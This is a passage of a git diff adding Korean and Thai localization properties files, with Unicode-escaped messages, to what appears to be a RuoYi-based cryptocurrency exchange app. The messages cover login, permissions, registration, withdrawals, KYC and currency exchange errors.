+own.coin.subscribe.error=\uAD6C\uB3C5 \uC2E4\uD328 +withdraw.kyc.error=\uD55C\uB3C4\uD574\uC81C\uB97C \uC704\uD574 \uBA3C\uC800 \uC2E4\uBA85\uC778\uC99D\uC744 \uC644\uB8CC\uD574\uC8FC\uC138\uC694. +exchange_symbol_error_exist=\uAD50\uD658 \uD1B5\uD654\uAC00 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4 +currency.coin.setting.nonexistent=\uD604\uC7AC {} \uAD6C\uC131\uC774 \uC874\uC7AC\uD558\uC9C0 \uC54A\uC2B5\uB2C8\uB2E4. +currency.balance.deficiency=\uD604\uC7AC {} \uD1B5\uD654 \uC794\uC561\uC774 \uBD80\uC871\uD569\uB2C8\uB2E4. +currency.deal.error=\uC774 \uD1B5\uD654\uB294 \uAC70\uB798\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. +back.code.exist.error=\uC740\uD589 \uCE74\uB4DC \uBC88\uD638\uAC00 \uC774\uBBF8 \uC874\uC7AC\uD569\uB2C8\uB2E4.{} + +#\u5B9E\u540D\u8BA4\u8BC1 +user.authentication.not.certified = \uAE30\uBCF8 \uC778\uC99D\uC744 \uBA3C\uC800 \uC218\uD589\uD574 \uC8FC\uC138\uC694. + +#\u9ED1\u540D\u5355 +user_is_black = \uADC0\uD558\uC758 \uACC4\uC815\uC740 \uBE14\uB799\uB9AC\uC2A4\uD2B8\uC5D0 \uB4F1\uB85D\uB418\uC5B4 \uB85C\uADF8\uC778\uD560 \uC218 \uC5C6\uC2B5\uB2C8\uB2E4. + +#\u5E01\u5E01\u4EA4\u6613 +currency.order.min.error= \uCD5C\uC18C \uC8FC\uBB38 \uC218\uB7C9\uC740 {0} +currency.order.max.error= \uCD5C\uB300 \uC8FC\uBB38 \uC218\uB7C9\uC740 {0} + diff --git a/ruoyi-api/src/main/resources/i18n/messages_th.properties b/ruoyi-api/src/main/resources/i18n/messages_th.properties new file mode 100644 index 0000000..1f99242 --- /dev/null +++ b/ruoyi-api/src/main/resources/i18n/messages_th.properties @@ -0,0 +1,165 @@ +user.appname=\u6CF0\u8BED\u8BED\u8A00 + + + +#\u9519\u8BEF\u6D88\u606F +not.null=* \u0E08\u0E33\u0E40\u0E1B\u0E47\u0E19 +user.jcaptcha.error=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14 +user.jcaptcha.expire=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E2B\u0E21\u0E14\u0E2D\u0E32\u0E22\u0E38\u0E41\u0E25\u0E49\u0E27 +user.not.exists=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E2D\u0E22\u0E39\u0E48/\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E1C\u0E34\u0E14 +user.password.not.match=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E2D\u0E22\u0E39\u0E48/\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 +user.password.retry.limit.count=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 {0} \u0E04\u0E23\u0E31\u0E49\u0E07 +user.password.retry.limit.exceed=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 {0} \u0E04\u0E23\u0E31\u0E49\u0E07 \u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E16\u0E39\u0E01\u0E25\u0E47\u0E2D\u0E04\u0E40\u0E1B\u0E47\u0E19\u0E40\u0E27\u0E25\u0E32 {1} \u0E19\u0E32\u0E17\u0E35 +user.password.delete=\u0E02\u0E2D\u0E2D\u0E20\u0E31\u0E22 \u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E16\u0E39\u0E01\u0E25\u0E1A\u0E41\u0E25\u0E49\u0E27 +user.blocked=\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E23\u0E32\u0E22\u0E19\u0E35\u0E49\u0E16\u0E39\u0E01\u0E41\u0E1A\u0E19 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A +role.blocked=\u0E1A\u0E17\u0E1A\u0E32\u0E17\u0E19\u0E35\u0E49\u0E16\u0E39\u0E01\u0E41\u0E1A\u0E19 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A +login.blocked=\u0E02\u0E2D\u0E2D\u0E20\u0E31\u0E22 IP \u0E01\u0E32\u0E23\u0E40\u0E02\u0E49\u0E32\u0E16\u0E36\u0E07\u0E16\u0E39\u0E01\u0E02\u0E36\u0E49\u0E19\u0E1A\u0E31\u0E0D\u0E0A\u0E35\u0E14\u0E33\u0E42\u0E14\u0E22\u0E23\u0E30\u0E1A\u0E1A +user.logout.success=\u0E2D\u0E2D\u0E01\u0E40\u0E23\u0E35\u0E22\u0E1A\u0E23\u0E49\u0E2D\u0E22\u0E41\u0E25\u0E49\u0E27 +user.ops.status=\u0E01\u0E32\u0E23\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E07\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E23\u0E30\u0E2A\u0E1A\u0E04\u0E27\u0E32\u0E21\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 + +length.not.valid=\u0E04\u0E27\u0E32\u0E21\u0E22\u0E32\u0E27\u0E15\u0E49\u0E2D\u0E07\u0E2D\u0E22\u0E39\u0E48\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07 {min} \u0E16\u0E36\u0E07 {max} \u0E2D\u0E31\u0E01\u0E02\u0E23\u0E30 + +user.username.not.valid=* \u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23\u0E08\u0E35\u0E19 \u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23 \u0E15\u0E31\u0E27\u0E40\u0E25\u0E02 \u0E2B\u0E23\u0E37\u0E2D\u0E02\u0E35\u0E14\u0E25\u0E48\u0E32\u0E07 2 \u0E16\u0E36\u0E07 20 \u0E15\u0E31\u0E27 \u0E41\u0E25\u0E30\u0E15\u0E49\u0E2D\u0E07\u0E02\u0E36\u0E49\u0E19\u0E15\u0E49\u0E19\u0E14\u0E49\u0E27\u0E22\u0E44\u0E21\u0E48\u0E43\u0E0A\u0E48\u0E15\u0E31\u0E27\u0E40\u0E25\u0E02 +user.password.not.valid=* 5-50 \u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23 + +user.email.not.valid=\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E2D\u0E35\u0E40\u0E21\u0E25 +user.mobile.phone.number.not.valid=\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C +user.login.success=\u0E25\u0E07\u0E08\u0E2D\u0E14\u0E44\u0E14\u0E49\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08 +user.register.success=\u0E04\u0E27\u0E32\u0E21\u0E2A\u0E33\u0E40\u0E23\u0E47\u0E08\u0E43\u0E19\u0E01\u0E32\u0E23\u0E25\u0E07\u0E17\u0E30\u0E40\u0E1A\u0E35\u0E22\u0E19 +user.notfound=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 +user.forcelogout=\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E1A\u0E31\u0E07\u0E04\u0E31\u0E1A\u0E43\u0E2B\u0E49\u0E2D\u0E2D\u0E01\u0E08\u0E32\u0E01\u0E23\u0E30\u0E1A\u0E1A \u0E42\u0E1B\u0E23\u0E14\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 +user.unknown.error=\u0E40\u0E01\u0E34\u0E14\u0E02\u0E49\u0E2D\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14\u0E17\u0E35\u0E48\u0E44\u0E21\u0E48\u0E17\u0E23\u0E32\u0E1A\u0E2A\u0E32\u0E40\u0E2B\u0E15\u0E38 \u0E42\u0E1B\u0E23\u0E14\u0E40\u0E02\u0E49\u0E32\u0E2A\u0E39\u0E48\u0E23\u0E30\u0E1A\u0E1A\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 + +##\u6587\u4EF6\u4E0A\u4F20\u6D88\u606F +upload.exceed.maxSize=\u0E02\u0E19\u0E32\u0E14\u0E44\u0E1F\u0E25\u0E4C\u0E17\u0E35\u0E48\u0E2D\u0E31\u0E1B\u0E42\u0E2B\u0E25\u0E14\u0E40\u0E01\u0E34\u0E19\u0E02\u0E35\u0E14\u0E08\u0E33\u0E01\u0E31\u0E14\u0E02\u0E19\u0E32\u0E14\u0E44\u0E1F\u0E25\u0E4C! \u0E02\u0E19\u0E32\u0E14\u0E44\u0E1F\u0E25\u0E4C\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E17\u0E35\u0E48\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E04\u0E37\u0E2D: {0}MB! +upload.filename.exceed.length=\u0E04\u0E27\u0E32\u0E21\u0E22\u0E32\u0E27\u0E0A\u0E37\u0E48\u0E2D\u0E44\u0E1F\u0E25\u0E4C\u0E2D\u0E31\u0E1E\u0E42\u0E2B\u0E25\u0E14\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} \u0E2D\u0E31\u0E01\u0E02\u0E23\u0E30 + +##\u6743\u9650 +no.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C\u0E40\u0E02\u0E49\u0E32\u0E16\u0E36\u0E07\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C [{0}] +no.create.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E2A\u0E23\u0E49\u0E32\u0E07\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.update.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E41\u0E01\u0E49\u0E44\u0E02\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.delete.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E25\u0E1A\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.export.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15\u0E43\u0E2B\u0E49\u0E2A\u0E48\u0E07\u0E2D\u0E2D\u0E01\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E01\u0E32\u0E23\u0E2D\u0E19\u0E38\u0E0D\u0E32\u0E15 [{0}] +no.view.permission=\u0E04\u0E38\u0E13\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C\u0E14\u0E39\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E34\u0E14\u0E15\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E14\u0E39\u0E41\u0E25\u0E23\u0E30\u0E1A\u0E1A\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E40\u0E1E\u0E34\u0E48\u0E21\u0E2A\u0E34\u0E17\u0E18\u0E34\u0E4C [{0}] + +##\u6CE8\u518C\u7528\u6237\u63D0\u793A +user.register.email.format=\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 +user.register.email.exisit=\u0E21\u0E35\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +user.register.phone.exisit=\u0E21\u0E35\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +user.user_name_exisit=\u0E0A\u0E37\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E19\u0E35\u0E49\u0E21\u0E35\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +login.user_error=\u0E0A\u0E37\u0E48\u0E2D\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E2B\u0E23\u0E37\u0E2D\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E1C\u0E34\u0E14 +user.login.address.error=\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E16\u0E39\u0E01\u0E22\u0E36\u0E14\u0E41\u0E25\u0E49\u0E27! +user.register.phone.exist=\u0E21\u0E35\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E2D\u0E22\u0E39\u0E48\u0E41\u0E25\u0E49\u0E27 +user.register.phone.bind=\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E16\u0E39\u0E01\u0E1C\u0E39\u0E01\u0E44\u0E27\u0E49 +#app +app.login.address.not.null=\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E02\u0E2D\u0E07\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32 +login.email.not_register=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E43\u0E0A\u0E49\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E17\u0E35\u0E48\u0E16\u0E39\u0E01\u0E1C\u0E39\u0E01\u0E44\u0E27\u0E49\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23 +login.phone.not_register=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E43\u0E0A\u0E49\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E21\u0E37\u0E2D\u0E16\u0E37\u0E2D\u0E17\u0E35\u0E48\u0E1C\u0E39\u0E01\u0E44\u0E27\u0E49\u0E40\u0E1E\u0E37\u0E48\u0E2D\u0E14\u0E33\u0E40\u0E19\u0E34\u0E19\u0E01\u0E32\u0E23 +login.code_error=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E1C\u0E34\u0E14\u0E1E\u0E25\u0E32\u0E14 +user.login.code.error=\u0E01\u0E32\u0E23\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E25\u0E49\u0E21\u0E40\u0E2B\u0E25\u0E27! +user.login.password.null=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E43\u0E2A\u0E48\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13! +user.login.upd.success=\u0E41\u0E01\u0E49\u0E44\u0E02\u0E40\u0E23\u0E35\u0E22\u0E1A\u0E23\u0E49\u0E2D\u0E22\u0E41\u0E25\u0E49\u0E27! +phone_code_empty=\u0E2B\u0E21\u0E32\u0E22\u0E40\u0E25\u0E02\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E40\u0E27\u0E49\u0E19\u0E27\u0E48\u0E32\u0E07! +email.code_empty=\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E27\u0E49\u0E19\u0E27\u0E48\u0E32\u0E07\u0E44\u0E14\u0E49! +user.code.send=\u0E2A\u0E48\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E40\u0E23\u0E35\u0E22\u0E1A\u0E23\u0E49\u0E2D\u0E22\u0E41\u0E25\u0E49\u0E27 +app.verification.email.code=\u0E23\u0E2B\u0E31\u0E2A\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E44\u0E14\u0E49\u0E16\u0E39\u0E01\u0E2A\u0E48\u0E07\u0E44\u0E1B\u0E22\u0E31\u0E07\u0E2D\u0E35\u0E40\u0E21\u0E25\u0E02\u0E2D\u0E07\u0E04\u0E38\u0E13\u0E41\u0E25\u0E49\u0E27 \u0E42\u0E1B\u0E23\u0E14\u0E15\u0E23\u0E27\u0E08\u0E2A\u0E2D\u0E1A +user.password_bind=\u0E15\u0E31\u0E49\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E41\u0E25\u0E49\u0E27 \u0E01\u0E23\u0E38\u0E13\u0E32\u0E2D\u0E22\u0E48\u0E32\u0E1C\u0E39\u0E01\u0E21\u0E31\u0E14\u0E2D\u0E35\u0E01 +user.tard.password_bind=\u0E15\u0E31\u0E49\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E04\u0E27\u0E32\u0E21\u0E1B\u0E25\u0E2D\u0E14\u0E20\u0E31\u0E22\u0E41\u0E25\u0E49\u0E27 \u0E42\u0E1B\u0E23\u0E14\u0E2D\u0E22\u0E48\u0E32\u0E1C\u0E39\u0E01\u0E21\u0E31\u0E14\u0E2D\u0E35\u0E01\u0E04\u0E23\u0E31\u0E49\u0E07 +user.login.null=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49! +user.login.old.password=\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E1B\u0E49\u0E2D\u0E19\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E40\u0E01\u0E48\u0E32! +user.login.new.password=\u0E44\u0E21\u0E48\u0E44\u0E14\u0E49\u0E1B\u0E49\u0E2D\u0E19\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E43\u0E2B\u0E21\u0E48! +user.login.paw.upd=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E43\u0E2B\u0E21\u0E48\u0E15\u0E49\u0E2D\u0E07\u0E44\u0E21\u0E48\u0E40\u0E2B\u0E21\u0E37\u0E2D\u0E19\u0E01\u0E31\u0E1A\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E40\u0E01\u0E48\u0E32! +user.login.old.password.error=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E40\u0E01\u0E48\u0E32\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07! +user.login.address.null=\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32! +user.login.userid.null=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E39\u0E49\u0E43\u0E0A\u0E49\u0E27\u0E48\u0E32\u0E07\u0E40\u0E1B\u0E25\u0E48\u0E32! +#\u63D0\u73B0 +user.password_notbind=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E15\u0E31\u0E49\u0E07\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E17\u0E35\u0E48\u0E1B\u0E25\u0E2D\u0E14\u0E20\u0E31\u0E22 +tard_password.error=\u0E23\u0E2B\u0E31\u0E2A\u0E1C\u0E48\u0E32\u0E19\u0E01\u0E32\u0E23\u0E0A\u0E33\u0E23\u0E30\u0E40\u0E07\u0E34\u0E19\u0E1C\u0E34\u0E14 +withdraw.amount_number_exceed=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E16\u0E2D\u0E19\u0E43\u0E19\u0E27\u0E31\u0E19\u0E19\u0E31\u0E49\u0E19\u0E40\u0E01\u0E34\u0E19\u0E08\u0E33\u0E19\u0E27\u0E19\u0E17\u0E35\u0E48\u0E01\u0E33\u0E2B\u0E19\u0E14 +withdraw_error=\u0E22\u0E2D\u0E14\u0E04\u0E07\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E44\u0E21\u0E48\u0E40\u0E1E\u0E35\u0E22\u0E07\u0E1E\u0E2D\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E16\u0E2D\u0E19\u0E40\u0E07\u0E34\u0E19\u0E2A\u0E14\u0E44\u0E14\u0E49 +withdraw.amount_error=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E16\u0E2D\u0E19\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07 \u0E42\u0E1B\u0E23\u0E14\u0E41\u0E01\u0E49\u0E44\u0E02 +withdraw.refresh=\u0E42\u0E1B\u0E23\u0E14\u0E23\u0E35\u0E40\u0E1F\u0E23\u0E0A +withdraw.address.isnull=\u0E01\u0E23\u0E38\u0E13\u0E32\u0E01\u0E23\u0E2D\u0E01\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E16\u0E2D\u0E19\u0E40\u0E07\u0E34\u0E19\u0E43\u0E2B\u0E49\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07! +withdraw_require_error = \u0E1B\u0E31\u0E08\u0E08\u0E38\u0E1A\u0E31\u0E19\u0E1C\u0E21\u0E22\u0E31\u0E07\u0E15\u0E49\u0E2D\u0E07\u0E40\u0E25\u0E48\u0E19\u0E14\u0E49\u0E27\u0E22\u0E40\u0E17\u0E34\u0E23\u0E4C\u0E19\u0E42\u0E2D\u0E40\u0E27\u0E2D\u0E23\u0E4C\u0E17\u0E35\u0E48\u0E40\u0E2B\u0E25\u0E37\u0E2D\u0E2D\u0E22\u0E39\u0E48 +withdraw_error_coin=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E19\u0E35\u0E49 +withdraw_error_rate=\u0E44\u0E21\u0E48\u0E21\u0E35\u0E2D\u0E31\u0E15\u0E23\u0E32\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E19\u0E35\u0E49 +#\u5B9E\u540D\u8BA4\u8BC1 +user.kyc.not_blank=\u0E15\u0E49\u0E2D\u0E07\u0E01\u0E23\u0E2D\u0E01\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E22\u0E37\u0E19\u0E22\u0E31\u0E19\u0E15\u0E31\u0E27\u0E15\u0E19\u0E17\u0E31\u0E49\u0E07 4 \u0E0A\u0E34\u0E49\u0E19 + +#\u5151\u6362 +exchange.symbol.exist=\u0E2A\u0E01\u0E38\u0E25\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E44\u0E21\u0E48\u0E2A\u0E32\u0E21\u0E32\u0E23\u0E16\u0E40\u0E27\u0E49\u0E19\u0E27\u0E48\u0E32\u0E07\u0E44\u0E14\u0E49 \u0E41\u0E25\u0E30\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E17\u0E35\u0E48\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E15\u0E49\u0E2D\u0E07\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32 0 +recharge.amout.min=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E40\u0E07\u0E34\u0E19\u0E40\u0E15\u0E34\u0E21\u0E40\u0E07\u0E34\u0E19\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} +recharge.amout.max=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E40\u0E15\u0E34\u0E21\u0E2A\u0E39\u0E07\u0E2A\u0E38\u0E14\u0E04\u0E37\u0E2D {0} +currency.exchange_min=\u0E08\u0E33\u0E19\u0E27\u0E19\u0E01\u0E32\u0E23\u0E41\u0E25\u0E01\u0E40\u0E1B\u0E25\u0E35\u0E48\u0E22\u0E19\u0E02\u0E31\u0E49\u0E19\u0E15\u0E48\u0E33\u0E04\u0E37\u0E2D {0} 